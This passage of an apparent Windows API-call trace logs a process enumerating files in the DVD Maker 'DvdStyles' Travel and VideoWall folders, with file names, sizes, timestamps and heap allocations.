ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0067.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.564] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0067.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.564] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0067.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.564] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0067.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.564] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0067.564] GetLastError () returned 0x12 [0067.564] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.564] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0067.565] GetLastError () returned 0x12 [0067.565] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.565] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="")) returned 1 [0067.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.566] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0067.566] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd5460 [0067.566] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd5460, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfd5460, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5460) returned 1 [0067.566] NtClose (Handle=0x198) returned 0x0 [0067.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.566] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.567] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.567] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf2a8 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd1790 [0067.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.567] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf2c8 [0067.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd1898 [0067.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.567] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: 